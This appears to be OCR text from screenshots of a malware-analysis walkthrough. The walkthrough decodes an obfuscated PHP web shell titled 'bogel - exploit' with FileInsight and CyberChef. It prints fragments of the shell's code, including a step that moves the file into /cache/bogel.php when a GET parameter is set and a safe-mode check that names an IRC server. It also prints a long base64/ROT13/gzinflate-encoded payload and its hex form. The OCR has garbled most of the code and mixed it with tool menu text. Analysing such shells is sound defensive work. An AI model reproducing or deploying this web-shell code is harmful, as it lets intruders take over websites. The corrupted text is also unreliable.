else {5_SESSION['bajak']l++:};
Hif (isset (5 GET['cleon="]1)){

Ssource = 5 SERVER['SCRIPT FILENAME']; 1
fdesti =5 SERVER['DOCUMENT ROOT']."/cache/bogel.php"; The PHP COde IS deObfuscated
rename (Ssource, S5desti):;
-}

EPQVENRENINY BE Structures [ Decode Ssafemlde = @ini_get ('safe_mode");

if ({!5safemlde) {Ssecurity= "SAFE MODE : OFF bogel @ irc.blackunixz.us";}

PG i else {$security= "SAFE MODE : ON Eogel @ irc.blackunix.us";}

lE'lp'lE_ echo "<title>bogel - exploit</title><br>";

zrho "o Ffoant cive=21 ~nlAar=2FFERLER:2Katilz 2@ahakast Taddi Banmeat [ hes"-

Output

Sent the whole file (11834 bytes) to external program.
Output of external program (stdout) is opened as new tab.

£ Values melbrlucus B Calculator By R Scripting
Ln1 Col11 Len0|INS

@ o M | - ® 0 & o



w B2 Filelnsight - New file 0* = >

Edit Search Plugins Windows Help

S 23 * Enter a URL here |

A £ McAfee
Use Internet Explorer Proxy = c ee

MNew Open Close Save View View as Get

- as Hex  Text Enter your proxy as [Server:Port] here o

Mavigation o
X Supported for HTML, OLEZ2, PE and Flash.

R ERTEREELL AE T L T 4 Output of Customn basefd decode™ X Qutput of ROT13* X Qutput of Raw inflate® X MNewfile 0¥ X d b - X

<?php prinﬂ(gzinflate(str_rotlS(baseﬁd_decode['5X1?kSIYlvffz6k63SHTzDdoRZlWANtZnDPJe?yBDNItCAgZpDXcTZCLjICIpB5qf9fegKKtnXinJkaqi5K+7L2Tb903Rux1+vV+vBajknprOXzéjrh
nz//nP3//2w8aN3cRcpW758a%egoNMPME rAVNROKAFCYkrD2ezu/ fBInF3 5G9 1 pwtHRemd4wl0bi TLO0ksFIDCHLIOOKK ewlaonD 7 ftwwSQOvbYvweorHRAEqoXaz f2wFu2dD2X2Hov1EAmdfodvigotn¥+wXsGz 51/ 0eH:
secucpTWhxr9/CiM4AegOYwi1APT2X5W18Y,/ TzvoivgBE8EhdEe 81 3DYNcEi0MIrezTglGoLlv+sytg/nethzfEzbWEMpYZhVe/di dwnme+vE3gMeud+gimehuwlaS6JdRryvot+icegqpiwe smoNOVESieVFRUYLfwwZccoE4E
envwp EhBkEmAuVrlg7DoJ4sSewarP3NDse8J3J4BoDwb L] xHg8PbTg3/akyYCEfvRdhYnTX /355 9crUWsd+heHxMmUi hTul ¥TC2mOXHUzHME4 LerwiaXxBl1V3H+g+GuzZeGr5teGrrbl 3bE8TJROav4DvVpO1lb ) ENWQT:
B2G4+bEBSH4L1rTrcHg3chBYEJI1Lg)G2384GELEACEIixi+/00]VCnx88sDghs/EWTxEcMkbQIS fnbEPT IMaegFLgfpe TEId+sMOBDREaVV 1 Zz9aXSr+4Mvadf4CLT0aA%%urdEovTrzv40IgIsEXnz]1 /bPXEcOalbT 21
75fYpu/PrxrmPsONBNgFTaiDCZ4 THoyME6uwRia6R+jeD+nbOEyvo0j8DN3 /8 frvNUkSfOosf6T51h/jWE59VZ3B6T+kEearL6FkBA7/ 1ESwvS6vn5vi®98/cg5 1 fWySZ5LEsnhg2Tpl1BMhl 2gfvkBt26JgHYg+u3j 300
viuZS3B0ThEjHOSHC]+vn+7k7780ivatf/PELUBgHRIYLUQL xVEyed 3UKWnugV5dV10HCc+sA0T1FZ23GrTr22s Zr0PrB et kXMuywS LaukDSgMESSCoiI3mirOr InGREKORE1lgrez3PuXUS2I2viInl JiskjOESoZ+mEVE
UnKEeSuucivUged+McPmI&qQlY0Z/ oPvoHdD/ I34mLEFViu/w3tY¥yOMw2CledBXo9vledTg2dkuVhCSLTgBt 91682 JCRhLzS I ZPgy3sVYUKIAASC OmE/ 2 YEX SM4ui +mpnbHZCOBWCSChwP ) 1adBmgaNg382/1trVAY Tt
G3GTHSS51xhNLITMSAZ48/atMLYPYVEGHzENa] Yopox31 QT 5Xa0nNms JAH3MbgECMb 2 kwBnbMSbn ZDrUBKzMWAd2GJMkGEZ520Gal Txbg ZvzHOIFG0C X ss 1 GG2pN+VHNY S Fe DS kxzA0GC2k3czho T3M3TnHEZgachufall
BfgcpaMQZS+taQifgxl jpOpx0Xet+5TNIDccIMVLIPOHMRXedFSESNftkIMV,/DNHLAfmANWVO+Chzzi jXyuarwETIPjOmHGkiu3T7 0px2o02c0Z] rImwgvgCeudkwGILtTMZ550/ 2ZKFmeMMEvA/ Loudxi fh25p02y3C5e
IZS90RPAPzda9ZPZVEZPrHOT36)RenGeaTOSDTIOTEL JutboeabY TvGdOSwmYVmM MO+ DPzeTfpbNF1V4Av40bDS55PkLulJaMARBZ 0r0koE3wing JGOdDFRBoebECSV3pxrwVent VI ThfAZr ZgXHEGIEIE1 LeRKpEEVALS
+hTW2Ue3XsVYNoWT1BinVEIXgmOwlhE /1 PY1 LT3 zXFilgFssgNizzCGAU=ay 397X Xegs1BUHDIuOlHSnR5 ] 1 r 3PARSC4 ENdnEcmgy M2 bLGhYrPe0rWIQs4 r eM78El1b+yyi BmMeocEXnWESuSmyzBZxVecE6 03 TBTVEZY
ripyWm2iedquéBPYE+obXS1a0/ 6t GCBprSDRNYNXLLAbnnXRUAxGSBERICHNTCTWSsDVEN45Y24nrbsxmDIS1 PYRo+caEaHeMyN 9558 8aMzr IVmmRr FPHI4NWLENTMELN+ 1 1hSpmILWScta00Il JenWW 7] SoH0r5Ji P01 jha
NijYXT/HfDbBtxzE/HyvDOpPRBRSSUBX6k0a0TJG+zGTFWX SugBaf4wKPE88815C7G+nhlirc0%hoPSc2dIRsZCalkNZZqu2 JBgQLtEC+NS5026DobsVkT7dIc8bobCxmDalinrOPtoea 3 IGPONE 2e00x07 PYMEtpggL5xX 202
3ccBs)pyrdNHkfGCebN4vvla3z8xh5vhWooy]l fnFtgé0eQjeOMb I8 ] JYBENJE2Jz TxGtncdnt0hXaZrRbcEKANE38EeFD4+x083M0T14+5CaaCXpzgyAS524Nwl/gecLPCESNIELAMOY TDr JMBr¥1 5hTévh8nTmYgfo DNz
royUDWIE+FCzYpShiE07IdpvlHEgdVEsG3CsaEJggdEncroskTp+NadWvIJiNGUTYtvgM4+ErYBnm/ Jta070ITEVEs/VpuFSvsgY TR+ TXpuy6VSZ 7eRR4KwadRsT2uoz Irvihei 04TdgESGE I Z5NMOY 0T SAULBxUE
5zHeSf3gA2VvCRRExfCt1Ar+63knef80dabig7BABSulTFMGAePEWSF4S5Tkm,/ peS+po]j JalgC/ Za4dZ2dVpYSuce+rmtIBVOL8/ cgMxTTAPawncFlOXDve IOy To2mWezbICyGVE+5XEbo 9Xp SvgEt £t P5dY6TPWUMSPs5r
t+aC4Tho+y20HZDXvWHh,/ 10ThaFoBOsPUrar+2wASTUISHIYZPGCyx1YHSzsh9ToTsyGvvy e EdUvmEVY3gfjCp8I3an8ryml B8 5x5r¥o 6/ nYOvvEBLirNE2NGaCY TwH/ IWnzKYT3D/geSiGzfIprUHTSHOZzp ) IgX1 T4y
g8LHEtdulGsIS5Be22taYhuTk+15BaXI1lbple5jmTwBl0kE/ Jfumi7jCexedb2736gC+]Y0w2 fgS5pP68azbbigxeEic/35xpD3]+35UgzVimgne+PIyo fhuHOLAxr IKyrZgnwi i+ FEF20zPWCLapCPecocFEhEEUe 30u]
8ap2R00b/wVnRnlkPoyARbwPheeYrPXcLIU4EZtBMArSeIfLUSKXUCUtgNfHECE TRy 7 fHdZbgPs2dTaSD0z5EPh] DENY Jwe fOMx Uy 1 YWMWENALNNS 1 fevREMEND TpQo9yn/MxbcBzz 1HWFrB/uCebns /180y /UDT z+F
sPOQfEdpZiiF3I27RVSASHHU,/OEwwWWE z5b 4 yPwyeXMVo2ZWEz1 LgmBi IMTDZB+7XG5+sz2noyutdQ74h5 ) IxTGW3MaxFeQhC8 JvFeiWTFk TNpoW2RtU2104 11 SvyTO0GH=sa0ON+4RvyRePAB0x5gFD/120eIxxS mr+Ap]
BSUSBETEGELfCPOXRITH0CKEG] g/ w30UQXCPUugF+R11HouZ 6Tl inwY4usSYHOJ1FSkgTekK2VyISfHEhRDACPi TcFc6YXTSEXngR2D6 vl / wBX POLXMYMAMYvx 7 10MaalcD3I0O0FYFOSOMO TmEFP1714g2I9NISvEkypdve
zzPOkhHV3JEryITMOCp4hpGmWlShTiRATOkdyMivdeyCE/ TIgOWEJAEBmys+¥1lejoH+3P2Id20Tgv4vAMSERYFignF /wyLr 31 VHgrOERYW3gZ JEMcGyFefOgT 03 ¥ xmyNvpabVegSuveX 07 1VUafETRugd60BpvL 001k
BRI IWRTNY B Structures [§] Decode ho3cBhJgAbHZBIQCkZrOfNC Sh9bTY JTxmmNpkbkUjTRtbgY¥E IhSNKSE1D e+ TkHue SUSGEW3p]1E2ZFb3 91 hwDnyAEBHED1I4ts8Tn2BEe3PXxTWE0gaNdzESGngOus lUpz¥U21hec¥Yj2C 1/ SmicMLZml1 TOMHE+ 9YMEY /] 2¢
yFiX1/EbviazgUE3roUirITpSgf2h50glLBsUiLRLAKEhtgsdS/ rHIXE+0udNkoy+Ts5CacenkH32x6DI LvaJF6]25LecHgGTPrMeqovelfR/TiS/ 2fkdm2 /McSBRRvEXGTA/ATOMYUXLulZ1R1 rGHOC2wHEENgFD1UE
rbS87Fui/Z2+48+1LYFE4AmBf 1 +kSmATwmi ] fHD20dH4R3k+NNJhJIXDGEIaxu5,/U4f4PsyD2gtecgelE+fvY+abDQviBaKEULL1 IJZy4 LMWGZFFsWyzaXYFnk2gXLEmfx0/VhbiGs0aWus4MWbjB2CraHauQY+Tecu7LuRWE

ZFIVOYKEALFPiIRVNt TURELYWVrPV,/ DuymxR,/ 1 JCTgMtKoe 6054 Y3gIPUom386/ L0 60X TpOqx0250x2RITI ImHO9PpLETyLvDSDSUz TTzr SVY39eV+6bIKJous /McdAtcRY5aJZ2gVdISGMM/ 0z007cC0] Tkgg6ScIVUC

Arris G FFL T 4+ ATTA AV AT vt Ami ¥ nirt £ P E A2 o ANEm M2 Do Tvirhm] FhaoRv 8 2R 220+ BN Th S 4 ¥ rrntmareima+ / DR1eu? FT0A R Y ea o GA3 AFAR S AeNT.+ ATV / 4l T.AAbulr »MERY /AR BT mo BT ol ~eRTW] 4+ 7vTE Y
>

Bookmarks q

Output

Copied 30535 bytes from offset Ox2e to 0x7774 to new tab 'New file 0°'.

Method 3:
Processing data with CyberChef

£ Values melbrlucus B Calculator B8 ER Scripting
Ln1 Col11 Len0|INS
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U |= Filelnsight - Output of Send to (CLIJ* — S

U McAfee

Mavigation Emulate code UER VO ET R p Y Output of Customn basebd decode® X Output of ROTI3* X Output of Raw inflate® X Newfile0* X  Qutput of Send to (CLIJ* X 1b»X

Home Edit Search Plugins Windows Help

[» Operations Basic

Compression

Crypto
Plugins Encoding

r v v w

X supported fc z;:? : EZ;iZE:EM‘ php print({gzinflate(str rotl3(baseéd4 decode ('5X17kS5r¥lvifzeke38HT=z0doRZIWANLZnDPJeTyBoNItCAgzp0XcTZCL]ICIpEsgfSfegRRtnEindvokgisE+7L2TbS0c3Ruxl+wVtv3ajknrzA0Xz4 L A
Visualization 5 Send to (CLI) 2/ /nP3/ /2wBaN3cRopWT7 SasgoNMPME rAVNROKAFCYkrDZ2ezu/ fBInF39G9 1pw+XRem4wlObi TLOksFIDcHL100RK 6wlaonD7 ftwwSOvhYvweorHRAFEqoXazf2wFu2dD2¥2Hov]l 8amdfodvigotnX+wisGz51/0eHz
XOR N GUGp TWhxr9/CiMAgOYwE1APT2X5W18X/ 7T2vovgBEKhdee813DYNchiOMIrezTglGoLvtsytg/nethzfEzb8WeMpY ZhVe /di dwnmé+vE3gMeu3d+gimehuwlasSeJdRryot+Aceqpfwe smoNOVSieVFRUYLiwwZ cocoE4E
Check for update WP EhBkEm Send selected region (the whole file if not selected) to other GUI program [g3 faky¥CFfvRdh¥nTX /355 9crUWsd+heHExMmUi hTul XTC2mOXHUzEME4 Lsrwl aXxB1V3H+gtGuzZeGr5teGrrbl 3b8T JROav4 DvVp01b ] 6NWOT 2
Version info 82G+bEBSH4+L1rTrcHg3chBYXEJiiLgjG2384GEfLEACEiXi+/00]VCnx88sDghs/EWTxEcMkbOIS fnbEPT IMegFLgfpe TEId+sMOBDREaVV 1 Z9aXSr+4+Mvadf4CLT0aA9%urdEovTrzv40JgIsEXnz]l /bPX8c0e0bT z1
75fYpu/PxrmPsONBNgFTaiDCZ4 THoyM6uwKia6R+jeD+nbOEyvo0j8DN3 /8 frvNUkSfOsf6I5ih/jWE59VZ3B6T+kb6eatrL6FkBA 7/ 1ESwvS6vn5vi998/cg51 fWlySZS5LEsnhg2TplBMhl AgfvkBt26JgHYg+u3j30C

vjuZS3B0ThEjHOSHC]+yn+7k77S0ivatf/PEbUBgHhIYLUQLxVXyed 3UKWnugV5dV10HCc+sA0T1F23GrTr22sZr0PrBot kXMuywS LauKDSgMESSC9iI3mirOr InGRKORG61grecz3PuXUS2I12viInl JiskjOESoZ+mEVE
UnKeSuucivUged+McPmI 6gQlY0Z/ oPvoHdD/ I34mLEFViu/w3tY¥yOMw2Clsd8Xo9vWe3Tg2dkuVhCIL7gBt 91682 JCRhLzS I ZPgy3sVYUK1AASCOmE/ 2 YEX SM4ui +mpnbHZCOBWC9ChwP ] 1adBmgaNg382/1trVAYTt
G3GTHSS51xhNL1TM5A74+B/atMLYPYVEGHZzHNa ] Yopex31s0T 5Xa0nNms JAH3MbgECMb2 kwBnbMSbnZDrUBKzMWd2GJMkGEZ520Gal TXbgZvzHWOIFGOCEXss1GG2pN+VHNY 9Fe DS kxzA0G2k3czho 7T3M3TnHZgachufall
BfgcpaMQZS+taQifgxl jpOpx0Xet+5TNIDeccIMVLIPOHMRXedFSESNftkIMV,/DNHLAfmANWjVO+Chzzi jXyuarw6TIPjOmHGkiu370px202c0Zj rIimwgvgCeudkwGILtTMZ550/ 2ZKRFmeMMfyA/ Loudxi fh25p02y3C5e
IZS90RPAPzda9ZPZVEZPrHOT36]RenGeaeTO5SDTI0TES JutboeabY JvGdOSwmYVmMEM0+DPzeTfpbNF1V4Av40bDS55PkLu0JaM4AREZ 0r0koE3wing JGOdDFEcebECSV3pxrwVemt VI ThfAZr ZgXHGGIKIiE1 LeKpEEVALS
+hTW2Ue3XsVYNoW71BinVEIXgmOwlhB/i1PY1 LT3 zXFgFssgNizzCGAUeay3g7XXecgs1BUHDIu0OlHSnR5 ] 1 r 3PARSG4ENdnEcmgy IM2bLGhXrPe0rWIQs4 r M7 8E1b4 yyi BmMeoc6XnWESuSmyzBZxVec603TBTVEZY
ripyWm2iedquéBPYE+obXS1a0/ 6tGBprSDRNYNXLLAbnnXRUdxGSBEICNTCTWSSsDVEN45Y24nrbsxmDJIS]1 PYRo+caEaHcMyN 958 8aMzr IVmmRr FPHI4+NWLENTMELN+ 11 hS5pmILWS5cta00I J6nWW 7] SoHO0r5Ji P01 jhe
NjYXT/HfDbBtxzE/HyvDOpPRBRSSuBX6k0a0TJG+zGTFWX SugBaf4wKPE8S815C7G+nhlirc09hoPSc2dIRsZCalkNZZqu2 JBgQtEC+N502 6DobsVkT7dIc8bobCxmDalinrOPtoea 3 IGPONE Z2e00x07 PYMtpggL5xX 202
3ccBspyrdNHkfGCebN4vwv1la3z8xh5vhWQoyl fnFtgé60eQjeOMbI8] JYBENJE2Jz TxGtncdnt0hXaZrRbcERENS38EeFD4+x083M0TI14+9CaaCXpzgyAS524Nwd/gecLPCSNISL2MOY 7DrJMBrX1 5hT6vh8nTmYgfoDN =
royUDWIE+FCzYpShiEQT7IdpvlHSgdVSsG3CsaEJggdEncroSkTp+NadWvIJiXGUX T YtvgM+ErYBnm/ jta070ITEVEs/VpuFSvsgY 1RJ+TXpuy6VSZ 1eRR4KwadRsT2uoz Irvihei 04TdgESGE I Z5NMOY 0T SdUbLBxUE
5zHeSf3gA2VVCRKExfCt1Ar+63knef80dabig7BABSulTFmGAePEWSF45Tkm/ pcS+po]jJalgC/ ZAdZdVpYSuce+rmtIBVOE8/ cgMrTTAPawncFl0XDve IOy To2mWezbICyGVEb+5XEbo 9XpSvgEt ftP5dY6TPWUmMSPs5r
t+aC4Tbhbc+y20H2DXvWHh/ 10ThaFoBOsPUrar+2wA9TUISHIYZPGCYyx1YHSzsbh9ToTsyGvvyeKdUvmEVY3qfjCp8I3an8r¥mlB85x5rXo6/ nYOvvEBirNK2NGaCY TwH/ IWNnzKYT3D/geSiGzfIprUHTSHOZzp ) IgX1T4ry
g8LHtduQGsI55B02ZtaYhWu’ k+lSBaXJlbp1c5jm}T§ﬁiBE§?’ ¥ ﬁtﬁ+£%%@mEicw3%pmj +35UgzV4mgne+PIyo6huHOLA xr IRyrZgnwii+FEF20z PRCLapCPcoFEhE 6Ua90uj
8ap2RO00b/wVnRnlkPoyAAbwPbeeYrPXcLIU4EZtEMWrSe utgsiﬁlc Vel & qgPs2dTashoz 57 0t Ny jwe £OMxUy 1 YWMH 6NALNNS i fevRRMEND TpQo9yn/MxbcBzz 1HWFrB/uCeDns / 180y/UDT z+F
sPOQfEdpZiiF3I27RVSASHHU/OEWwWWE z5b4 yPwyeXMVo2ZWEz1 LgmBi IMTDZB+7XG5+sz2noyutdQ74h5) IxTGW3MaxFecQhC8 JjvFsiWTFk TNpoW2RKtU210411 SvyTO0GHsa0ON+4RvyRAePAE0x5gFD/1Z20eIxxSemr+Ap]
BSUSBGETEGELfCPOXRI T+0CXEG]g/w30UQXCPugF+R1iHcuZ 6Tl inwY4uSYHOJ1iFSkg7ekK2VyISfH6hRD4ACPI TcFc6YXTSXngK2D6 vl / wBX POLXMYMAMYvx 7 10MaalLcD3I00FYFOSOMO TmFPi714g2I9NISvEkypdve
zzPOkhHV3JE6ryITMICpAhpGmW1ShTiRATOkdyMivdeyCE/TIgOWE A8 Bmys+X1lejoH+3P2Id20Jgv4vAMSERYFfgnF/wyLr 31 VHgrOERYW3gZ JEMcGyFefogT 03 ¥ xmyNvpabVegSuveX071VUafHTRKugd60BpvL 001k
ERI IR Bz Structures 3] Decode ho3cBhJgAbHZBIqCKkZrOfNC Sh9bTY JxmmNpkbkUjTRtbgY¥8 IThSNKSK1D e+ 7kHueS5USGEw3p]1E2ZFb3 91 hwDnyA6BHED1I4ts8Tn2Be3PXTW60gaNdzE9GngOus lUpz¥U21hc¥Yj2C1/ 5micMLZm1 TOMH+ 9YMEY /] Z¢
yFiX1/EbviazgUE3roUirITpSgB2h50glLBsUiLRLAKEhtgsdS/ rHIXE8+0udNkoy+Ts5CaceHnkH32x6DI LvaJF6]25LcHgGTPrMeqovelfR/TiS/ zfkdm2 /McO9BRvEXGTA/ATOMYUXLulZ1R1 rGHOC2wHEENgFD1UE
rbS87Fui/Z2+8+1LYFE4AmBf 1 +kSmATwmiW ] fHD20dH4R3k+NNJhJIXDGIaxu5,/U4f4PsyD2gtcgelE+fvY+abDQvi BaKEULL1 IJZy4 LMWGZFFsWyzaXYFnkZ2gXLEmfx0/VhbiGs0aWu64MWbjB2CraHauQY+Tecu7LuRWE

Nl 2FIVOYKEdALFPiRVNt 7UhGLYWVrPV/DuymxR,/ 1 JCTgMtKoe6054Y3gI PUom386/ L8060 TpOgqx0250x2RITIImH9PpLETyLvDSDSUz TTZzr VY 39eV+6bIRKJous/McdAtcRYs5aJZgVdISGMM/ 0z007cC0] Tkgg6Sc IV
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U |= Filelnsight - Output of Send to (CLIJ* — X

Home Edit Search Plugins Windows Help

U McAfee

Plugins
Mavigation LR R BTG E B R L ETCE L I Output of Custorn basefd decode™ X Output of ROT13* X Output of Raw inflate® X Newfile0® X Output of Send to (CLI)* X

X Supported for HTML, OLE2. PE and Flash. <?php print (gzinflate (str rotl3(basef4 decode ("SX1T7kS5r¥lvEifzek638HTz0doRZ1IWANL ZnDPJe7yEoNItCAgzp0XcTZCL]ICIpS8Sgf9fegREtnXindvokgisK+7L2TbSo3Ruxl+vViv3ajknrxA0Kz4]r A
nz//nP3//2w8aN3cRcpiW7Sa%sgoNMPmE rAVNROKAFCYkrD2ezu/ fBINF39G% 1 pwiXRemdwlObi TLO0ksFIDcHL1 00RK6wlaonDT ftwwSOvbYvweorHRARqoXaz fF2wFu2dD2X2Hov]1 8AmdfodvtgotnX+wXsGz51 / 0eHZ
Detect It Easy APTZ2X5W18X/ TzvovgBE8Ehdee813DYNc6i0MIrezTglGoLv+sytg/nethz fEzb8WEMpY ZhVe/di dwnme+vF3gMeu3+gimehuwlaSeJdRryvot+Aceqpiwe smoNOVS1ieVFRUYLEwwZ cocoE4E
PE-bear SewarP3NDse8J3J4BcDwbL ] xHg8PbTg3/akyYCEfvRdhYnT¥®/ 355 9crUWsd+heHxMmUi hTulXTC2mOXHUzHEME4 LesrwiaXxB1V3H+gtGuzZeGrS5teGrrbl3biTROav4DvVpllbj 6NWOT:
82G+bEB5H- pe-tree JiiLgjG2384GfLEBACEixXi+/00]VCnx88sDghs/EwTx8cMkbOISfnbEPT 0MegFLgfpe 7TEId+sMOBDREaVV1z9aXSr++Mvadf4CL70aRA95urdEovTrzv40JgIsEXnz]l /bPXEc0e0bT zWl
T5EfYpu/Pxl  paFree Z4THoyM6uwKiabR+jeD+nbOEyvo(lj8DN3 /8 frVNUkSf0sf6I5ih/ JWE55VZ3B6T+kbearkrL6FkBd7/1RK5wvS6vn5vi 998/ cg51fWySEZ5LEsnhg2Tpl BMhl AgfvkBt26JgHYg+u3]) 300
viu283BOTY  iper 7780ivatf/PEbUBgHhIYLUOtXxVEye4 3UKWnugV5dV10Hc+sAQT1F23GrTr22sZ2r 0PrB6t k¥MuywS5LaukDSgMESSC9i I3mir0r InGERORE61groz3PuXUS2I2vi Iml JiskjOES0Z4mEVE
UnKEeSuucisy Relyze Desktop YOZ/onoHdeIS4mLXFViufw3tYyOMw2ClstXoQVWE9Tg2dkthCBL7thBlGBXJCRhLzSIZquSsVYUKiAdSC9mF/zYKX9M4ui+mpanZCOBWC9CthjladquaNqSﬁEfltrVHyTt
G3GTHSS51xY  yscnde FUBKzMWd2G]MkGZ5Z20GalIxbgZyzHOIFGOCEXss1GG2pN+VHNY9FeDSkxzA0G2k3czho73M3TnHZgachufall
BfgcpaMQzs . JXyuarweT7IPjComHGkiu370px202c0Z] rimwgvgCeuJkwGILt TMZ550/ 2ZKFmecMMTyA/ Loudxi fh25p02y9C5e
IZ90RPEdPz Zi:amt 367 Sendlng selected reglon F4v4o0bDS55PkIu0JaMARBZ 0rQkoE3wingJGOdDFEcebECSV3pxrwVemt V] ThfAZr ZgXHGGIRKIiE1 LeKpEEVALS
+thTW2Ue3Xs o bnNR5]1r3PAESG4ENdNEcmgy9M2bLGhXrPe0rWIQs4reM78E1b+yyi fmMeo6XnWESubmyzBZ2xVec603TBTVEZY
ripyiim2ie: |y tO IOca"y SaVEd cyberChef DT91PYRo+caEaHcMyN9S8] 8aMzr IVmMmRr FPHS+NWLENTM6LN+11hSpmLWScta00I J6nWW 7 SoHOr5.J7i P01 jha
NjYXT/HfD Custornize menu | 2dJRsZCaLkNZZqu2JBgtEC+N502 6DobsVk7dIc8bobCxmDaWnrOPtoea 3 IGPONf Ze00x07TPYMEpggLSxX 207
3ccBsipyr = N [ ] M5 J5 Y 4 [ NAcArRbcERANS38EeFD44+x083M0I14+9CaaCXpzgyvAS524Nw T/ gecLPCSNIEL2MOY 7 Dr JMBr¥15hT6vh8nTmYgf oDz
rcyUDWIK+FCsz5h]ED7IdpleSngSsGBCsaEngdanroBkTp+NaﬂWvIJ1XGUX7thqM+EIYBnmfjtaO?DITBVESfvqu9vng?KJ+7Kpuy6USZ?eRR4KWwadRsTZuozIrth9104ngE8GfIZSNMOYDT9dUbeuE
5zHeSf3gA2VVvCRKEXTCt1Ar+63kne80dabig7BABSulTFMGASPEWSF45Tkm/ pcS+po] JalgC/ ZAdZdVpYSuce+rmtIBVOL8/ cgMeTTAPawncF1lO0XDve IOy T o2mWezbICYGVh+5XEbo 9XpSvgEt £t PSdY6TPWUmMSPSSr
t+aC4The+y20H2DXvWHh/10ThaFoBOsPUrar+ 2wASTUISHIYZPGCyx1YHSzsb3ToTsyGvvy 6 KAdUvmEVy3gf jCp813an8ryml1BA5x5r¥e 6/ nYOvvEi rNE2NGaCY TwH/ IWNnzKYT3D/geSiGzfIprUHTSHOZzp ) IgX1T4ry
gB8LEtduQGsISSEo2Z2taYhWuTk+15BaXJlbplcSimTwBl0kH/ jfumi7jCzxcIb2736gC+]Y0w2£gS5pP68aZbbegxEic(/ 35xpD3]+35UgzVimgne+PIyoehuHOLAxr IRyrZgnwii+FEF20zPWCLapCPcoFEhEEUe 900
Bap2R00b/wVnRnlkPoyRARbwPbeeYrPXcLIudEZtBMATrSeI fLUSXUCUtgNfHHCETByJ7 fHdZbgPs2dTasSD0z5EPb] 0t Ny Jwe fOMxUy ] YWMWENALNNS i fevREMEND 7pQo9yn/MzbcBzz 1 HwFrB/uCebDns /180y /UD7 z+F
SPOOfEdpZiiF3I27RVSASHHU/OEWWWE z5bd yPwyeXMVo2ZWEz1LagmBi IMTDZEB+7XG54+sz2noyutd074h5) JXTGW3MaxFocOhC8 JvFsiWTFKk TNpoW2KtU2104 11 SvyTOGHSsaON+4RvyAePA80x5gFD/ 1 Z20eIxxSemr+Ap]
BSUSBGTEGBffCPOXRiT+0CXEG]g/w30uQXCPugF+R1iHcuZ6T]1 inwY4uSYHQJiFSkg7ekK2VyISfH6hRDACPI 7TcFc6YXTSEngK2D6vE/ WBXPOLXMEMAMVvx710MaaLcD3IO0FYFOSOIMOTmEFP1714g2I9NISvREkypdve
zzPOkhHV3JeryITMICp4hpGmW1lShTiRATOkdyMivdeyCe/TIgOWE A8 mys+X1lejoH+3P2IdZ20Tgv4vAMSERYFEgnE/wyLr 91 VHgrOERYW3gZ JEMcGYyFcfCgT 03 ¥ xmyNvpabVeguvoX07 lVUafHTRKugde0BpvL001ik

23 Navigation e O ho3cBhJghbHZBIqCkZrOfNC b 9bTY JxmmNpkbkUjTRtbgY8 ThENKSK1Dj e+ TkHue5USGEw3p]1E2Z2Fb33 1 hwDnyA6BHED1T4ts8Tn2B63PxTW60gaNdzE9GnglullUpzYU21he¥Yj=zC1/5mi cMLZm1 TOMH+ 9YMEY/ J Z¢
yFiX1/EbviazgUE3rOUirITp9q8Zh50glLEsUiLRLEEShtgsds/ rHIXE+0udNkoy+Ts5CaceEnkH3Z2x6DILvaJF6]28LcHgGTPrMeqovelfR/Ii8/ 2fkdm2 /Mc9BRVEXCTA/ATOMYUXLulZ1R1 rCWOC2wHEENgFD1UL
rbS87Fui/Z2+8+1LYFE4AmBf 1 +kSmATwmiW ] fHD20dH4R3k+NNJhJIXDGIaxu5,/U4f4PsyD2gtecgelE+fvY+abDQviBaKEULL1 IJZy4 LMWGZFFsWyzaXYFnkZ2gXLEmfx0,/VhbiGs0aWu64MWbjB2CraHauQY+Tecu7LuRWE
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.~ From Hex - CyberChef x +

C O

Version 9.28.0
Operations
Search...
Favourites

To Basebd

From Basebd

To Hex

From Hex

To Hexdump

From Hexdump
URL Decode
Regular expression
Entropy

Fork

Magic

Data format
Encryption / Encoding
Public Key
Arithmetic / Logic
Networking
Language

Utils

Date / Time

- ey

file:///C:/Users/user/Desktop/tools/CyberChef_v9.28.0/CyberChef_v9.28.0.html#recipe=From_Hex('Auto)&input=MzU1ODMxMzc2Y]M 1 Nzl 1 OTMxMNzY 2NJY 21 g Q Search =

*

Recipe

From Hex

Delirmiter

Auto

STEP

Last build: 4 months ago

Q u

Auto Bake

Options a About / Support 0
length: 23554 ——
|I1p|..l| lines: 1 + D E | -

355831376b3572593176666672366b36333848547a386461525a6c57414e745a36e44584a65377942614e49744341677a78365863545a434c62a49
43497838357166396665674b4b746e58696e4a764f6b7169734b2b374c325462396133527578312b76562b7633616a6b6e72784138587a346a6e
2f2§7537333973377872422f754752354538392b61793841555a473935582b374e76536C376C33212b21Ba6e7a212f0e5033212F3277328614.33
63526378573753613973676T4e4d586d587241564e52416b416643596b724432657a752T66424a6e46333047303176772b5852656d34776c5162
69374c386b7346494463484c6c384T4b4b367738616T6e44376674777753517662597677656172485241457161T58617a66327746753264443258
324861T766C38416d646661T3476746763746e582b775873477a35692141654832446254745a766b4d4c3759675166764a3766394151786a574ede
4b2+2+7a763321397a2b37483956530a73654775477037576878723921436a4d347151597738314156373258355731385821377a763976674238
4b58643665386C3344594e633669514d4a72657a54713147614c762b73797467216e6574687a66457a623857364d78595368566321646934776e
6d362b764633714d6575332b67696d656875773161533082644b72796T2b4163657178667765736d6T4e3856356065560465275594c6677775a63
636T453445334+427978576453786a71427a4976556¢ 4984d574c31356744726e337a7972634d495085a59748a656d7677783668426b456d
577556726c7137446T433473536577617258334e44 4a34426T4477624c6a78487138566254713321616b79594366765264685%6e54
5821333573396372555773642b686548784dbd554 443326d415848557a484d38344c7372776961587842315633482b712b47757a
5a654772357465477272626C336235 d496a662b556d763734714c7638
33724e2bB855708643637387167687 69694c716a473233533447664C

426443456978692b2f4f4f6a56436 SelectEd region iS importEd 67464c676670865374549642b73

4d38424452386176566c 7233961585 . 67497345586e7a312F62505838
634f655162377a57314c586534704 to cyberCth as hex Strlng 426a77436b0a37356659708752F
5078726d50873364e4242714654616 b62384442332F386672564e556b
30664F7366364a3560682f6a57383530565a3342364a2D6D36656141724C36466D42643721314D3577765336766e3576693939382F6367353166
5779535a534c45736e686732547031424d6831417166766b427432364a674850712b75336a334F30434714350545171686a347178745464744a
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time: 12ms

Output length: 11777 [ |E| 3| N

lines: 52

5X17ksrylvffzEk638HTz@doRZ1WANTZNDPJe7 yBoNI tCAgzpeXcTZCLIICIpa5SqfofegkKtnXinlvokgisK+7L2Th903Rux1+vW+v3ajknrxagxz4jn *
/27392 7xrN/uGR5I89+ay80UZGOSX+TNvS1T713/+/

